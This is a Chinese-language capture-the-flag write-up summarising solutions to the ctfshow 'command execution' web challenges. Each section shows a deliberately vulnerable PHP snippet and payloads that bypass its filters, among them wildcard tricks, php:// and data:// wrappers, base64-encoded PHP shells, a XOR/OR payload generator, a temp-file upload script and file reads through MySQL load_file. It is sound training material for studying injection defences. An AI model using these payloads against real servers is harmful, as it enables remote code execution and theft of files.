前言
来源于
【原创】ctfshow—web入门—命令执行 (29-77)(持续更新)
进行归纳总结。
Web29 flag
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php
Web30 system|php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
换其他函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
Web31 cat|sort|shell
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));//扫描当前路径下文件返回数组->数组倒叙->输出下一个元素
c=show_source(next(array_reverse(scandir(pos(localeconv())))));//pos(localeconv()) 组成.点号,加上scandir就是扫描当下目录。具体看Web40
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
Web32 echo|’|(|;
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
include不用括号,分号可以用?>代替
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
Web33-36 [0-9]|/
33新增双引号
34新增冒号
35新增<|=
36新增/|[0-9]
payload
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
Web37 include
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
c=data://text/palin,<?php system("nl fla*");?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web38 php|file
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web39 include加后缀
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?c=data:text/plain,<?php system('cat fla?.php')?>
Web40 [0-9]|各种符号
<?php
if (isset($_POST['c'])) {
$c = $_POST['c'];
if (!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)) {
eval($c);
}
} else {
highlight_file(__FILE__);
}
?>
括号检测的是中文括号。基本思路就是不带字符串不带数字纯函数读取。
current()函数返回数组中的当前元素/单元,默认取第一个值
pos()函数同上,是current()函数的别名
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE
//查看当下目录
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));
payload:
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
Web41 [0-9]|[a-z]
<?php
if (isset($_POST['c'])) {
$c = $_POST['c'];
if (!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)) {
eval("echo($c);");
}
} else {
highlight_file(__FILE__);
}
此题过滤了$、+、-、^、~
,导致异或/自增/取反构造字符都无法在使用,但留了个运算符|
脚本:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
/*根据正则表达式生成对应payload */
//或
function orRce($par1, $par2)
{
$result = (urldecode($par1) | urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2)
{
$result = (urldecode($par1) ^ urldecode($par2));
return $result;
}
//取反
function negateRce()
{
fwrite(STDOUT, '[+]your function: ');
$system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT, '[+]your command: ');
$command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg = '/[0-9]/i')
{
//根据正则表达式从字符中排除掉被过滤的,然后再进行或/异或,之后判断该字符是否为可见字符
if ($mode != 3) {
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
echo "";
} else {
$par1 = "%" . $hex_i;
$par2 = '%' . $hex_j;
$res = '';
if ($mode == 1) {
$res = orRce($par1, $par2);
} else if ($mode == 2) {
$res = xorRce($par1, $par2);
}
if (ord($res) >= 32 & ord($res) <= 126) {
$contents = $contents . $res . " " . $par1 . " " . $par2 . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
} else {
negateRce();
}
}
generate(2, '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
Web42-52 >/dev/null
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
要将后面的截断,命令加个%0a
或者%26
或||
Web43新增正则检测cat,换个如nl
、tac
读取命令即可
Web44新增正则检测flag,用通配符或fla\g
Web45新增正则检测空格,可用%09
代替空格,或nl<fl\ag.php||
Web46新增[0-9]|$,同上
Web47同上
Web48同上
Web49新增各种命令,同上
Web50新增检测%09
Web51新增检测%
Web52新增检测大多数可代替空格字符,但没检测$
,所以用$IFS代替空格
payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26
Web53-54
<?php
if (isset($_POST['c'])) {
$c = $_POST['c'];
if (!preg_match("\|\;|cat|f1ag|[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk| strings|od|curl|\`|\%|\xO9|\x26|\>|\</i", $c)) {
echo ($c);
$d = system($c);
echo "<br>" . $d;
} else {
echo 'no';
}
} else {
highlight_file(__FILE__);
}
?c=nl${IFS}fla\g.php&
?c=c''at${IFS}fla''g.p''hp
Web54加了一大堆.*f
这等检测,用通配符
Web55-56:[a-z]
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
bin为binary的简写主要放置一些linux的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
payload:
方法一:
匹配/bin/base64 /flag.php
?c=/???/????64%20????.???
非通用,base64并非每个机子都有
上传临时变量
参考链接:无字母数字webshell之提高篇
import requests
while True:
url = "http://url/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break
#可以考虑加个声明 b'#!/bin/sh\ncat flag.php'
Web56加了[0-9],同上
Web57
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
目的是构造36这个数字,利用
//与网上wp结果不一致,在kali与ubuntu18环境下测试为如下结果
$(()) 是0
$((~37)) 是-38,
$((~$(())$(()))) 是-1
payload
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))
TODO:这题没尝试成功,待重试
Web58-65 disable_functions bypass
后面主要是绕过disable_functions思路,另起一篇文章吧,payload姑且记记,哪天抄类似的时候可能用得上。
<?php
eval($_POST['C']);
payload
c=show_source('flag.php')
Web66-70
c=print_r(scandir("/"));
c=highlight_file('flag.txt');
Web71
<?php
error_reporting(0);
ini_set('display_errors', 0);
if (isset($_POST['c'])) {
$c = $_POST['c'];
eval($c);
$s = ob_get_contents(); //得到缓冲区的数据。
ob_end_clean(); //会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
echo preg_replace("/[0-9]|[a-z]/i", "?", $s);
} else {
highlight_file(__FILE__);
}
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
所以在缓冲区关闭之前退出程序:
c=require_once('/flag.txt');exit();
Web72 open_basedir bypass
Web73-74
//先扫目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); }exit(0); ?>
//然后读取
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);
Web75-76
//先扫目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
//利用mysql load_file读取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
Web100 call_user_func
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
is_numeric:指定的变量是数字和数字字符串(字符串内全是数字)则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即TRUE
7.x:
is_number()
对16进制数字不返回TRUE
所以转换成能够返回True的数字字符串。
<?=`cat *`;?>
进行base64编码:
PD89YGNhdCAqYDs=
去掉补位的=
PD89YGNhdCAqYDs
转换为16进制
5044383959474e6864434171594473
base64编码为a-zA-Z0-9/=
,大部分为数字,所以得碰运气。而且如果中间有字母e,那么完全会被is_numberic当成科学计数法。
所以尽量凑出中间有e的纯数字字符串。
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin